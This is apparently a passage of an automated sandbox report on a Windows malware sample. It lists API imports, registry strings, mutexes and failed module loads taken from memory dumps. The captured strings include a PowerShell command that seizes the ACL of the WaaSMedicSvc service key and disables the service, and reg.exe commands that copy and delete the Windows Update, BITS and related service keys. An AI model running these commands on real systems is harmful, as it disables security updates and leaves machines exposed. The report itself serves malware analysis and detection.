(Indicator: "GetTokenInformation"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "ChangeServiceConfigW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "InitializeAcl"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "StartServiceW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "FreeSid"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "CheckTokenMembership"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "IIDFromString"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "IsWindow"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "GetLastActivePopup"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "NdrClientCall3"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "UuidCreate"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "UuidToStringW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "UuidFromStringW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "CertVerifyCertificateChainPolicy"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "GetFileSizeEx"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "CreateTimerQueueTimer"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSemaphore"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "SetEnvironmentVariableW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "OpenEventW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "OpenFileMappingW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "DuplicateHandle"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "CreateSemaphoreW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "VirtualQuery"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "DisableThreadLibraryCalls"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "VirtualLock"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "GetQueuedCompletionStatus"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "PostQueuedCompletionStatus"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "CreateIoCompletionPort"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "TlsSetValue"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "TlsAlloc"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "TlsGetValue"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "TlsFree"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "TryEnterCriticalSection"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "DuplicateToken"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "SetEntriesInAclW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "RegEnumValueW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteValueW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteKeyW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "RegQueryInfoKeyW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "RegNotifyChangeKeyValue"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "CoGetObject"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "FindResourceW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "CancelSynchronousIo"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolWork"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpool"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "StartThreadpoolIo"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpool"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolIo"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolIoCallbacks"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolTimerCallbacks"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "CancelThreadpoolIo"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolWorkCallbacks"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolThreadMinimum"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolWait"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolWaitCallbacks"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolThreadMaximum"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolTimer"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolWait"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolTimer"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolWait"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolTimer"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolIo"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "SubmitThreadpoolWork"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolWork"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "HeapCreate"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "HeapValidate"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "HeapDestroy"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "VirtualProtect"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExA"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSRWLockExclusive"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "AcquireSRWLockExclusive"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "RtlGetVersion"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "CoInitialize"; Source: "00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "RegGetValueW"; Source: "00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "VerSetConditionMask"; Source: "00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "VerifyVersionInfoW"; Source: "00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleTitleW"; Source: "00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "FindResourceExW"; Source: "00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "SetErrorMode"; Source: "00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "CryptDecrypt"; Source: "00000000-00002720.00000001.179099.E92D0000.00000004.mdmp")36:T2211,"Get -Acl HKLM:\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc.SetOwner(System.Security.Principal.NTAccount('BUILTIN','Administrators'))Get -Acl HKLM:\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc.SetAccessRule(System.Security.AccessControl.RegistryAccessRule(System.Security.Principal.NTAccount('BUILTIN','Administrators'),'FullControl','Allow'))Set-Acl HKLM:\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc Get -Acl HKLM:\SYSTEM\CurrentControlSet\Services\WaaSMedicSvcSet-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc;" in Source: 00000000-00002720 "\REGISTRY\MACHINE\SOFTWARE\Classes" in Source: 00000000-00004180.00000001.176990.40239000.00000020.mdmp "\Registry\Machine\Software\Classes\" in Source: 00000000-00004180.00000001.176990.40239000.00000020.mdmp "$key='HKLM:\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc';$acl=Get-Acl $key;$admin=New-Object System.Security.Principal.NTAccount('BUILTIN','Administrators');$acl.SetOwner($admin);$rule=New-Object System.Security.AccessControl.RegistryAccessRule($admin,'FullControl','Allow');$acl.SetAccessRule($rule);Set-Acl $key $acl;Set-ItemProperty $key -Name 'Start' -Value 4 -Type DWord" in Source: powershell.exe "copy "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" "HKLM\SYSTEM\CurrentControlSet\Services\zeamkxfprc" /s /f" in Source: reg.exe "delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f" in Source: reg.exe "copy "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" "HKLM\SYSTEM\CurrentControlSet\Services\jnbxaolwwx" /s /f" in Source: reg.exe "delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f" in Source: reg.exe "copy "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" "HKLM\SYSTEM\CurrentControlSet\Services\clinnowyyh" /s /f" in Source: reg.exe "delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f" in Source: reg.exe "copy "HKLM\SYSTEM\CurrentControlSet\Services\BITS" "HKLM\SYSTEM\CurrentControlSet\Services\yirxajznxk" /s /f" in Source: reg.exe "delete "HKLM\SYSTEM\CurrentControlSet\Services\BITS" /f" in Source: reg.exe "copy "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" "HKLM\SYSTEM\CurrentControlSet\Services\dfnlrcnbcv" /s /f" in Source: reg.exe "delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f" in Source: reg.exe ""C:\WINDOWS\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" "HKLM\SYSTEM\CurrentControlSet\Services\clinnowyyh" /s /f" in Source: 00000000-00001460.00000000.183278.26470000.00000004.mdmp "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" in Source: 00000000-00001460.00000000.183278.265E0000.00000004.mdmp "HKLM\SYSTEM\CurrentControlSet\Services\clinnowyyh" in Source: 00000000-00001460.00000000.183278.265E0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Policies\System" in Source: 00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE" in Source: 00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp "SOFTWARE\Policies\Microsoft" in Source: 00000000-00002720.00000000.178880.5E688000.00000002.mdmp "HKLM\" in Source: 00000000-00002720.00000000.178880.5E688000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\OOBE\Stats" in Source: 00000000-00002720.00000000.178880.5E688000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00002720.00000000.178880.5E688000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Server\ServerLevels" in Source: 00000000-00002720.00000000.178880.5E688000.00000002.mdmp ""C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" $key='HKLM:\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc';$acl=Get-Acl $key;$admin=New-Object System.Security.Principal.NTAccount('BUILTIN','Administrators');$acl.SetOwner($admin);$rule=New-Object System.Security.AccessControl.RegistryAccessRule($admin,'FullControl','Allow');$acl.SetAccessRule($rule);Set-Acl $key $acl;Set-ItemProperty $key -Name 'Start' -Value 4 -Type DWord" in Source: 00000000-00002720.00000000.178880.CFBF0000.00000004.mdmp 00000000-00002720.00000001.179099.CFBF0000.00000004.mdmp "HostApplication=C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe $key='HKLM:\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc';$acl=Get-Acl $key;$admin=New-Object System.Security.Principal.NTAccount('BUILTIN','Administrators');$acl.SetOwner($admin);$rule=New-Object System.Security.AccessControl.RegistryAccessRule($admin,'FullControl','Allow');$acl.SetAccessRule($rule);Set-Acl $key $acl;Set-ItemProperty $key -Name 'Start' -Value 4 -Type DWord" in Source: 00000000-00002720.00000000.178880.CFBF0000.00000004.mdmp 00000000-00002720.00000001.179099.CFBF0000.00000004.mdmp 00000000-00002720.00000001.179099.E8AF0000.00000004.mdmp 00000000-00002720.00000001.179099.E92D0000.00000004.mdmp "rShell\v1.0\\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{9F2B0085-9218-42A1" in Source: 00000000-00002720.00000000.178880.CFBF0000.00000004.mdmp 00000000-00002720.00000001.179099.CFBF0000.00000004.mdmp "$key='HKLM:\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc';$acl=Get-Acl" in Source: 00000000-00002720.00000000.178880.CFBF0000.00000004.mdmp 00000000-00002720.00000000.178880.CFFE0000.00000004.mdmp 00000000-00002720.00000000.178880.E8AF0000.00000004.mdmp 00000000-00002720.00000001.179099.CFBF0000.00000004.mdmp 00000000-00002720.00000001.179099.CFFE0000.00000004.mdmp 00000000-00002720.00000001.179099.E8AF0000.00000004.mdmp 00000000-00002720.00000001.179099.E92D0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00002720.00000000.178880.CFBF0000.00000004.mdmp 00000000-00002720.00000001.179099.CFBF0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00002720.00000000.178880.CFBF0000.00000004.mdmp 00000000-00002720.00000001.179099.CFBF0000.00000004.mdmp "STRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00002720.00000000.178880.CFBF0000.00000004.mdmp 00000000-00002720.00000001.179099.CFBF0000.00000004.mdmp "MACHINE\SOFTWARE\Classes\CLSID" in Source: 00000000-00002720.00000000.178880.CFBF0000.00000004.mdmp 00000000-00002720.00000001.179099.CFBF0000.00000004.mdmp "\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00002720.00000000.178880.CFBF0000.00000004.mdmp 00000000-00002720.00000001.179099.CFBF0000.00000004.mdmp "Y\MACHINE\SOFTWARE\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00002720.00000000.178880.CFBF0000.00000004.mdmp 00000000-00002720.00000001.179099.CFBF0000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 024" in Source: 00000000-00002720.00000000.178880.E92D0000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 001" in Source: 00000000-00002720.00000000.178880.E92D0000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00002720.00000001.179099.E92D0000.00000004.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00002720.00000001.179099.E92D0000.00000004.mdmp "\REGISTRY\MACHINE\Software\WOW6432Node" in Source: 00000000-00002720.00000001.179099.E92D0000.00000004.mdmp "\REGISTRY\MACHINE\Software\WOW6432Node0" in Source: 00000000-00002720.00000001.179099.E92D0000.00000004.mdmp "HKLM\SYSTEM\CurrentControlSet\Services\BITS" in Source: 00000000-00003756.00000000.184897.0EC70000.00000004.mdmp ""C:\WINDOWS\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\BITS" /f" in Source: 00000000-00003756.00000000.184897.0ECC0000.00000004.mdmp "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" in Source: 00000000-00003776.00000000.181030.8E010000.00000004.mdmp ""C:\WINDOWS\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f" in Source: 00000000-00003776.00000000.181030.8E070000.00000004.mdmp37:T43f,Process SecuriteInfo.com.Win64.Evo-gen.49237433.exe created mutex with name "\BaseNamedObjects\6BEFD45CED74AA00" Process powershell.exe created mutex with name "\BaseNamedObjects\SM0:5432:304:WilStaging_02" Process powershell.exe created mutex with name "\BaseNamedObjects\ZonesCacheCounterMutex" Process powershell.exe created mutex with name "\BaseNamedObjects\ZonesLockedCacheCounterMutex" Process powershell.exe created mutex with name "\BaseNamedObjects\SM0:5432:120:WilError_01" Process powershell.exe created mutex with name "\BaseNamedObjects\Local\SM0:5432:304:WilStaging_02" Process powershell.exe created mutex with name "\BaseNamedObjects\Local\SM0:5432:120:WilError_01" Process powershell.exe created mutex with name "\BaseNamedObjects\Local\SM0:2720:304:WilStaging_02" Process powershell.exe created mutex with name "\BaseNamedObjects\SM0:2720:304:WilStaging_02" Process powershell.exe created mutex with name "\BaseNamedObjects\SM0:2720:120:WilError_01" Process powershell.exe created mutex with name "\BaseNamedObjects\Local\SM0:2720:120:WilError_01"38:T120a,"powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\urlmon.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-libraryloader-l1-2-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\msvcrt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.Unmanaged.DLL" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\mi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-processthreads-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-handle-l1-1-0.dll" - [base:0; 